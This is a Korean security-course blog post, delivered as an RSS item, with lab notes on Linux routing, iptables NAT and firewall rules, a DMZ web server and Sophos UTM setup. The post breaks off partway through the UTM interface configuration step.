<?xml version="1.0" encoding="utf-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>security_code.log</title>
        <link>https://velog.io/</link>
        <description>정보보안 전문가</description>
        <lastBuildDate>Wed, 19 Apr 2023 08:40:57 GMT</lastBuildDate>
        <docs>https://validator.w3.org/feed/docs/rss2.html</docs>
        <generator>https://github.com/jpmonette/feed</generator>
        <copyright>Copyright (C) 2019. security_code.log. All rights reserved.</copyright>
        <atom:link href="https://v2.velog.io/rss/security_code" rel="self" type="application/rss+xml"/>
        <item>
            <title><![CDATA[보안 장비 운용 (교육 94 ~ 96일차) ]]></title>
            <link>https://velog.io/@security_code/%EB%B3%B4%EC%95%88-%EC%9E%A5%EB%B9%84-%EC%9A%B4%EC%9A%A9-%EA%B5%90%EC%9C%A1-94-96%EC%9D%BC%EC%B0%A8</link>
            <guid>https://velog.io/@security_code/%EB%B3%B4%EC%95%88-%EC%9E%A5%EB%B9%84-%EC%9A%B4%EC%9A%A9-%EA%B5%90%EC%9C%A1-94-96%EC%9D%BC%EC%B0%A8</guid>
            <pubDate>Wed, 19 Apr 2023 08:40:57 GMT</pubDate>
            <description><![CDATA[<blockquote>
<p><strong>실습&gt; 리눅스 라우터 모드 설정</strong></p>
</blockquote>
<pre><code>패킷 포워딩 기능이 활성화되어야 한다.
/proc/sys/net/ipv4/ip_forward

임시적 설정
# echo 1 &gt; /proc/sys/net/ipv4/ip_forward

영구적 설정
스크립트 파일을 수정한다. 
/etc/rc.local, /etc/rc.d/rc.local
부팅 시에 가장 마지막에 실행되는 스크립트이다.
-- /etc/rc.d/rc.local  --
echo 1 &gt; /proc/sys/net/ipv4/ip_forward
-- /etc/rc.d/rc.local  --
# chmod +x /etc/rc.d/rc.local

커널 파라미터를 수정한다.
-- /etc/sysctl.conf --
net.ipv4.ip_forward=1
-- /etc/sysctl.conf --
# sysctl -p
</code></pre><blockquote>
<p><strong>실습&gt; 리눅스를 이용한 라우터 설정하기</strong></p>
</blockquote>
<pre><code>VMware 네트워크             DHCP
VMnet1: 192.168.10.0/24     Enabled
VMnet2: 172.16.10.0/24      Enabled
VMnet8: 200.200.200.0/24    Enabled


리눅스 NIC 추가
ens33: VMnet8
ens36: VMnet1
ens37: VMnet2

리눅스를 부팅한다.
# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b4:78:98 brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.128/24 brd 200.200.200.255 scope global noprefixroute dynamic ens33
       valid_lft 1337sec preferred_lft 1337sec
    inet6 fe80::eb5f:2a39:52c6:2ad0/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
3: ens36: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b4:78:a2 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.128/24 brd 192.168.10.255 scope global noprefixroute dynamic ens36
       valid_lft 1338sec preferred_lft 1338sec
    inet6 fe80::13fe:b481:b551:910a/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever
4: ens37: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b4:78:ac brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.128/24 brd 172.16.10.255 scope global noprefixroute dynamic ens37
       valid_lft 1338sec preferred_lft 1338sec
    inet6 fe80::c069:4e7c:bb2a:ce56/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever


# yum -y install net-tools
# route 
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         gateway         0.0.0.0         UG    100    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33


실습&gt; route 명령어로 default gw 삭제/추가 하기

default gateway: 200.200.200.2

# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    100    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

라우팅 테이블에서 default gateway를 삭제한다.
# route del default gw 200.200.200.2
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

라우팅 테이블에서 default gateway를 추가한다.
# route add default gw 200.200.200.2
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    0      0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

연습으로 2개를 더 추가한다.
# route add default gw 172.16.10.2 dev ens37
# route add default gw 192.168.10.2 dev ens36
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         192.168.10.2    0.0.0.0         UG    0      0        0 ens36
0.0.0.0         172.16.10.2     0.0.0.0         UG    0      0        0 ens37
0.0.0.0         200.200.200.2   0.0.0.0         UG    0      0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33


# route del default gw 200.200.200.2
# route del default gw 172.16.10.2
# route del default gw 192.168.10.2
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33


외부로 나가는 문이 없기 때문에 8.8.8.8은 통신은 안된다.
# ping 8.8.8.8
connect: 네트워크가 접근 불가능합니다

외부로 나가는 문 200.200.200.2를 등록한다.
# route add default gw 200.200.200.2 dev ens33
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    0      0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     102    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     101    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33

외부로 나가는 문이 설정되었기 때문에 8.8.8.8은 통신은 된다.
# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=48.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=48.5 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=49.3 ms
^C
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 48.562/48.945/49.338/0.364 ms
</code></pre><blockquote>
<p>*<em>실습&gt; ip 명령어 *</em></p>
</blockquote>
<pre><code>IP정보를 출력한다.
ip address show   
ip a

특정 인터페이스의 IP정보를 출력한다.
ip a s lo
ip a s ens33

IP주소를 추가한다.
ip address add 200.200.200.100/24 dev ens33
ip address add 200.200.200.101/24 dev ens33
ip a a 200.200.200.102/24 dev ens33

IP주소를 삭제한다.
ip address del 200.200.200.100/24 dev ens33
ip a d 200.200.200.101/24 dev ens33
ip a d 200.200.200.102/24 dev ens33

라우팅 정보를 출력한다.
ip route
ip r

디폴트 게이트웨이를 삭제한다.
ip route del default via 200.200.200.2
ip route add default via 200.200.200.2

정적 라우팅을 설정한다.
ip route add 172.16.10.0/24 via 172.16.10.2 dev ens37
ip r a 192.168.10.0/24 via 192.168.10.2 dev ens36

정적 라우팅을 삭제한다.
ip route del 172.16.10.0/24
ip r d 192.168.10.0/24


# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    103    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     105    0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     104    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     103    0        0 ens33

# ip route add 172.16.10.0/24 dev ens37
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    0      0        0 ens33
0.0.0.0         200.200.200.2   0.0.0.0         UG    103    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     0      0        0 ens37
200.200.200.0   0.0.0.0         255.255.255.0   U     103    0        0 ens33

# ip route add 192.168.10.0/24 dev ens36
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    0      0        0 ens33
0.0.0.0         200.200.200.2   0.0.0.0         UG    103    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     0      0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     0      0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     103    0        0 ens33

# systemctl restart network
# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
0.0.0.0         200.200.200.2   0.0.0.0         UG    106    0        0 ens33
172.16.10.0     0.0.0.0         255.255.255.0   U     0      0        0 ens37
192.168.10.0    0.0.0.0         255.255.255.0   U     107    0        0 ens36
200.200.200.0   0.0.0.0         255.255.255.0   U     106    0        0 ens33</code></pre><blockquote>
<p><strong>실습&gt; NAT</strong></p>
</blockquote>
<pre><code>VMware 네트워크             DHCP
VMnet1: 192.168.10.0/24     Enabled
VMnet2: 172.16.10.0/24      Enabled
VMnet8: 200.200.200.0/24    Enabled

                                                   172.16.10.0/24  VMnet2
                        200.200.200.0/24           
                                   .101  VMnet2       +-- [Linux1(Server)]
                       .2          .5   .253          |        .101
[Internet]-----[Router]--------------[F/W]------------+
                                   .102 .253          |
                            VMnet8       VMnet1       +-- [Linux2(Client)] 
                             ens33                               .3
                                                    192.168.10.0/24  VMnet1

1. Network 설정

o F/W 에서 설정한다.
NIC 정보
ens33: VMnet8 200.200.200.5, 101, 102
ens36: VMnet1 192.168.10.253
ens37: VMnet2 172.16.10.253

# nmtui
프로파일 이름 ens33
이더넷
IPv4 설정       &lt;수동&gt;
주소 200.200.200.5/24
     200.200.200.101/24
     200.200.200.102/24
게이트웨이 200.200.200.2
DNS 서버 168.126.63.1
         168.126.63.2
[X] 자동으로 연결 

프로파일 이름 ens36
이더넷
IPv4 설정       &lt;수동&gt;
주소 192.168.10.253/24
게이트웨이 x
DNS 서버 x

[X] 자동으로 연결 
프로파일 이름 ens37
이더넷
IPv4 설정       &lt;수동&gt;
주소 172.16.10.253/24
게이트웨이 x
DNS 서버 x

[X] 자동으로 연결 

호스트명: firewall.linuxmaster.net

서버를 재시작하고 IP주소를 확인한다.
[root@localhost ~]# hostnamectl set-hostname firewall.linuxmaster.net
[root@localhost ~]# reboot
[root@firewall ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:e4:48:2d brd ff:ff:ff:ff:ff:ff
    inet 200.200.200.5/24 brd 200.200.200.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet 200.200.200.101/24 brd 200.200.200.255 scope global secondary noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet 200.200.200.102/24 brd 200.200.200.255 scope global secondary noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::821a:273e:d65a:e00/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
3: ens36: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:e4:48:37 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global noprefixroute ens36
       valid_lft forever preferred_lft forever
    inet6 fe80::d663:fdf3:eb37:a0a8/64 scope link noprefixroute
       valid_lft forever preferred_lft forever
4: ens37: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:e4:48:41 brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.253/24 brd 172.16.10.255 scope global noprefixroute ens37
       valid_lft forever preferred_lft forever
    inet6 fe80::7a49:daee:6d:5414/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

[root@firewall ~]# vi /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
200.200.200.5 firewall.linuxmaster.net firewall

o Linux1(Server)에서 설정한다.

NIC 정보
ens33: VMnet2 172.16.10.101

프로파일 이름 ens33
이더넷
IPv4 설정       &lt;수동&gt;
주소 172.16.10.101/24
게이트웨이 172.16.10.253
DNS 서버 168.126.63.1
         168.126.63.2

[X] 자동으로 연결 

호스트명: server.linuxmaster.net

[root@server ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:b5:d1:2d brd ff:ff:ff:ff:ff:ff
    inet 172.16.10.101/24 brd 172.16.10.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::fc15:1eaf:b202:97df/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

[root@server ~]# ip route
default via 172.16.10.253 dev ens33 proto static metric 100
172.16.10.0/24 dev ens33 proto kernel scope link src 172.16.10.101 metric 100


o Linux2(Client)에서 설정한다.

NIC 정보
ens33: VMnet1 192.168.10.3

프로파일 이름 ens33
이더넷
IPv4 설정       &lt;수동&gt;
주소 192.168.10.3/24
게이트웨이 192.168.10.253
DNS 서버 168.126.63.1
         168.126.63.2

[X] 자동으로 연결 

호스트명: client.linuxmaster.net

[root@client ~]# ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UP group default qlen 1000
    link/ether 00:0c:29:50:2e:74 brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.3/24 brd 192.168.10.255 scope global noprefixroute ens33
       valid_lft forever preferred_lft forever
    inet6 fe80::cc7b:30b2:3f97:53f5/64 scope link noprefixroute
       valid_lft forever preferred_lft forever

[root@client ~]# ip r
default via 192.168.10.253 dev ens33 proto static metric 100
192.168.10.0/24 dev ens33 proto kernel scope link src 192.168.10.3 metric 100

2. 통신 확인

[root@firewall ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=128 time=37.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=128 time=39.2 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=128 time=38.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=128 time=38.5 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 37.916/38.557/39.297/0.546 ms

[root@firewall ~]# ping -c 4 172.16.10.101
PING 172.16.10.101 (172.16.10.101) 56(84) bytes of data.
64 bytes from 172.16.10.101: icmp_seq=1 ttl=64 time=0.292 ms
64 bytes from 172.16.10.101: icmp_seq=2 ttl=64 time=0.522 ms
64 bytes from 172.16.10.101: icmp_seq=3 ttl=64 time=0.288 ms
64 bytes from 172.16.10.101: icmp_seq=4 ttl=64 time=0.351 ms

--- 172.16.10.101 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 0.288/0.363/0.522/0.095 ms

[root@firewall ~]# ping -c 4 192.168.10.3
PING 192.168.10.3 (192.168.10.3) 56(84) bytes of data.
64 bytes from 192.168.10.3: icmp_seq=1 ttl=64 time=0.373 ms
64 bytes from 192.168.10.3: icmp_seq=2 ttl=64 time=0.454 ms
64 bytes from 192.168.10.3: icmp_seq=3 ttl=64 time=0.697 ms
64 bytes from 192.168.10.3: icmp_seq=4 ttl=64 time=0.448 ms

--- 192.168.10.3 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 0.373/0.493/0.697/0.122 ms

3. NAT 설정
firewalld를 중지하고 iptables-services 를 설치한다.
[root@firewall ~]# systemctl stop firewalld
[root@firewall ~]# systemctl disable firewalld
[root@firewall ~]# yum -y install iptables-services
[root@firewall ~]# systemctl start iptables
[root@firewall ~]# systemctl enable iptables


                                                   172.16.10.0/24  VMnet2
                        200.200.200.0/24           
                                   .101  VMnet2       +-- [Linux1(Server)]
                       .2          .5   .253          |        .101
[Internet]-----[Router]--------------[F/W]------------+
                                   .102 .253          |
                            VMnet8       VMnet1       +-- [Linux2(Client)] 
                             ens33                               .3
                                                    192.168.10.0/24  VMnet1


-t nat PREROUTING:  dst:200.200.200.101 -&gt; dst: 172.16.10.101
-t nat POSTROUTING: src:172.16.10.101  -&gt; src: 200.200.200.101
[root@firewall ~]# iptables -t nat -A PREROUTING -d 200.200.200.101 -j DNAT --to 172.16.10.101
[root@firewall ~]# iptables -t nat -A POSTROUTING -s 172.16.10.101 -j SNAT --to 200.200.200.101

-t nat POSTROUTING: src:192.168.10.3  -&gt; src: 200.200.200.102
[root@firewall ~]# iptables -t nat -A POSTROUTING -s 192.168.10.3 -j SNAT --to 200.200.200.102
[root@firewall ~]# iptables-save &gt; /etc/sysconfig/iptables

패킷을 영구적으로 포워딩하기 위해서는 /etc/systl.conf에 패킷 포워딩의 커널 파라미터 값을 설정해야 한다.
/proc/sys/net/ipv4/ip_forward
0: 패킷 포워딩 금지 
1: 패킷 포워딩 허용 
[root@firewall ~]# vi /etc/sysctl.conf 

net.ipv4.ip_forward = 1

[root@firewall ~]# sysctl -p
net.ipv4.ip_forward = 1
[root@firewall ~]# cat /proc/sys/net/ipv4/ip_forward
1

filter 테이블의 방화벽 룰을 설정한다.
[root@firewall ~]# iptables -F
[root@firewall ~]# iptables -A INPUT -m state --state INVALID -j DROP
[root@firewall ~]# iptables -A INPUT -m state --state ESTABLISHED -j ACCEPT
[root@firewall ~]# iptables -A INPUT -m state --state NEW -p tcp -s 200.200.200.1 -j ACCEPT
[root@firewall ~]# iptables -P INPUT DROP

방화벽 룰을 저장한다.
[root@firewall ~]# iptables-save &gt; /etc/sysconfig/iptables

filter 테이블의 방화벽 룰을 확인한다.
[root@firewall ~]# iptables -nL
Chain INPUT (policy DROP)
target     prot opt source               destination
DROP       all  --  0.0.0.0/0            0.0.0.0/0            state INVALID
ACCEPT     all  --  0.0.0.0/0            0.0.0.0/0            state ESTABLISHED
ACCEPT     tcp  --  200.200.200.1        0.0.0.0/0            state NEW

Chain FORWARD (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

nat 테이블의 방화벽 룰을 확인한다.
[root@firewall ~]# iptables -t nat -nL
Chain PREROUTING (policy ACCEPT)
target     prot opt source               destination
DNAT       all  --  0.0.0.0/0            200.200.200.101      to:172.16.10.101

Chain INPUT (policy ACCEPT)
target     prot opt source               destination

Chain OUTPUT (policy ACCEPT)
target     prot opt source               destination

Chain POSTROUTING (policy ACCEPT)
target     prot opt source               destination
SNAT       all  --  172.16.10.101        0.0.0.0/0            to:200.200.200.101
SNAT       all  --  192.168.10.3         0.0.0.0/0            to:200.200.200.102

4. 통신 확인
네트워크 방화벽이 있으므로 호스트 방화벽은 모두 중지한다.
[root@client ~]# systemctl stop firewalld
[root@client ~]# systemctl disable firewalld

[root@server ~]# systemctl stop firewalld
[root@server ~]# systemctl disable firewalld

[root@client ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=38.1 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=38.8 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=39.2 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=39.4 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 38.160/38.921/39.405/0.517 ms

[root@server ~]# ping -c 4 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=127 time=42.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=127 time=38.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=127 time=38.7 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=127 time=38.4 ms

--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3006ms
rtt min/avg/max/mdev = 38.444/39.701/42.901/1.866 ms

5. 웹서버 설치
웹서버를 설치한다.
[root@server ~]# yum -y install httpd

웹서버를 시작한다.
[root@server ~]# systemctl start httpd
[root@server ~]# systemctl enable httpd

[root@server ~]# echo Hello Server: 172.16.10.101 &gt; /var/www/html/index.html


크롬에서 웹서버로 접속하면 방화벽이 DMZ망에 있는 웹서버로 돌려준다.

http://200.200.200.101/

Hello Server: 172.16.10.101
</code></pre><pre><code>#########
## UTM 
#########</code></pre><blockquote>
<p><strong>실습&gt; UTM 비밀번호 초기화</strong></p>
</blockquote>
<pre><code>https://support.sophos.com/support/s/article/KB-000034260?language=en_US
</code></pre><blockquote>
<p><strong>실습&gt; UTM 설치하기</strong></p>
</blockquote>
<pre><code>참고: https://cafe.naver.com/linuxmasternet/1162

네트워크 구성도

VMnet1: 192.168.10.0/24
VMnet2: 172.16.10.0/24
VMnet8: 200.200.200.0/24

200.200.200.1   : Host OS
200.200.200.200 : UTM          UTM 보안 솔루션
200.200.200.101 : CentOS 7,    DMZ망 WEB Server#1 IP주소 (DNAT/SNAT o)  &lt;-- 설정
200.200.200.102 : Rocky Linux, DMZ망 WEB Server#2 IP주소 (DNAT/SNAT o)
200.200.200.103 : Rocky Linux, DMZ망 WEB Server#3 IP주소 (DNAT/SNAT o)
200.200.200.104 : CentOS 7,    DMZ망 DB Server IP주소 (DNAT x, SNAT o)
200.200.200.105 :              내부망 윈도우의 SNAT용 IP주소 (DNAT x, SNAT o)  &lt;-- 설정
200.200.200.110 : CentOS 7,    DMZ망 DNS Server (DNAT/SNAT o)
200.200.200.3   : Kali Linux,  Attacker 

                  200.200.200.110  -------------------------------------------------------+ 
                  200.200.200.105                  DNAT                                   |
                  200.200.200.104(DBMS)                                                   |
                  200.200.200.103:80 -------------------------------+                     |
200.200.200.3     200.200.200.102:80 ------------------------+      |                     |
Attacker          200.200.200.101:80 -----------------+      |      |                     |
  |               200.200.200.0/24                    |      |      |                     |
  |             .200  |                               |      |      |                     |
  |     eth0(vmnet8)  |                               |      |      |                     |
외부망 --------------[ SOPHOS UTM ] ------- DMZ       |      |      |                     |
  |      eth1(vmnet1) |       |  eth2(vmnet2)         |80    |80    |80                   |
  |              .253 |      172.16.10.253            |      |      |                     |
  |          &lt;--------+-----------------+             v      v      v                     |
  |                   |   SNAT          |            CentOS Rocky  Rocky                  v
 Host OS              |                 +----------- WEB#1  WEB#2  WEB#3  DBMS(MariaDB)  DNS#1
  |                   | ens38(vmnet2)                .101   .102   .103   .104           .110
200.200.200.1         |                                |      |      |      ^
                    Windows                            |      |      |      |
                     .105                              +------+------+------+
                    eth1(vment1)                      웹서버 모두 DBMS 서버를 사용
                 192.168.10.0/24                        ens33 (vmnet2)
                 (관리자)                              172.16.10.0/24 


1. VMware Network 구성
VMnet1: Host only 192.168.10.0/24
VMnet2: Host only 172.16.10.0/24
VMnet8: NAT 200.200.200.0/24

2. VM구성
Gest OS 생성 : Linux -&gt; Other Linux 2.6x kernel
VM 이름: UTM9
HDD: 40G
RAM: 1G
NIC: 3개

- NIC1 eth0: NAT    200.200.200.200/24  &lt;-- 설치 후 설정
- NIC2 eth1: VMnet1 192.168.10.253/24   &lt;-- 설치할 때 설정 (admin)
- NIC3 eth2: VMnet2 172.16.10.253/24    &lt;-- 설치 후 설정

3. 설치 후 웹 접속 정보
https://192.168.10.253:4444/

인증서 오류로 인해서 아래처럼 클릭한다.

고급 &gt; 안전하지 않음으로 이동

Hostname: UTM9
Company or organization name: Linuxmasternet
City: Seoul
Country: South Korea    

:: Please select ::

admin account password:    P@ssw0rd    
Repeat password: P@ssw0rd
admin account email address: admin@linuxmaster.net

I accept the license agreement
Perform basic system setup 버튼을 클릭한다.

Please wait, this will take 40 seconds...   

크롬 브라우저에서 고급 &gt; 안전하지 않음으로 이동을 클릭한다.

로그인 창
Username: admin
Password: P@ssw0rd

Setup wizard
Welcome to Sophos UTM

Cancle 를 눌러서 취소를 한다.
</code></pre><blockquote>
<p><strong>실습&gt; 쉘 접속 설정</strong></p>
</blockquote>
<pre><code>1. 웹 설정
loginuser: 일반유저로 P@ssw0rd로 설정한다.
root: 관리자로 P@ssw0rd로 설정한다.

Management
[System Settings] &gt; [Shell Access] &gt; SSH shell access &gt; Enabled 

Shell User Passwords
Password for user root:    P@ssw0rd
Repeat:    P@ssw0rd
Password for user loginuser: P@ssw0rd
Repeat:    P@ssw0rd

Set Specified Passwords 를 클릭한다.

2. SSH 접속
웹에서 설정이 완료되면 cmd ssh or putty로 접속한다.
putty로 192.168.10.253 으로 접속한다.
putty로 접속한 로그인 내용은 아래와 같다.
Sophos UTM
(C) Copyright 2000-2015 Sophos Limited and others. All rights reserved.
Sophos is a registered trademark of Sophos Limited and Sophos Group.
All other product and company names mentioned are trademarks or registered
trademarks of their respective owners.

For more copyright information look at /doc/astaro-license.txt
or http://www.astaro.com/doc/astaro-license.txt

NOTE: If not explicitly approved by Sophos support, any modifications
      done by root will void your support.

loginuser@utm:/home/login &gt; su -
Password:
utm9:/root # ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: eth0: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:60 brd ff:ff:ff:ff:ff:ff
3: eth1: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:6a brd ff:ff:ff:ff:ff:ff
    inet 192.168.10.253/24 brd 192.168.10.255 scope global eth1
       valid_lft forever preferred_lft forever
4: eth2: &lt;BROADCAST,MULTICAST&gt; mtu 1500 qdisc noop state DOWN group default qlen 1000
    link/ether 00:0c:29:7e:8e:74 brd ff:ff:ff:ff:ff:ff
</code></pre><blockquote>
<p><strong>실습&gt; UTM 인터페이스 설정하기</strong></p>
</blockquote>
<pre><code>1. 인터페이스 정보
- NIC1 eth0: NAT    200.200.200.200/24  &lt;-- 설치 후 설정
- NIC2 eth1: VMnet1 192.168.10.253/24   &lt;-- 설치할 때 설정 (admin)
- NIC3 eth2: VMnet2 172.16.10.253/24    &lt;-- 설치 후 설정

메뉴 &gt; Interfaces &amp; Routing &gt; Interfaces

쉘에서 확인하면 eth0, eht1이 설정되지 않았다.
utm9:/root # ip a
1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
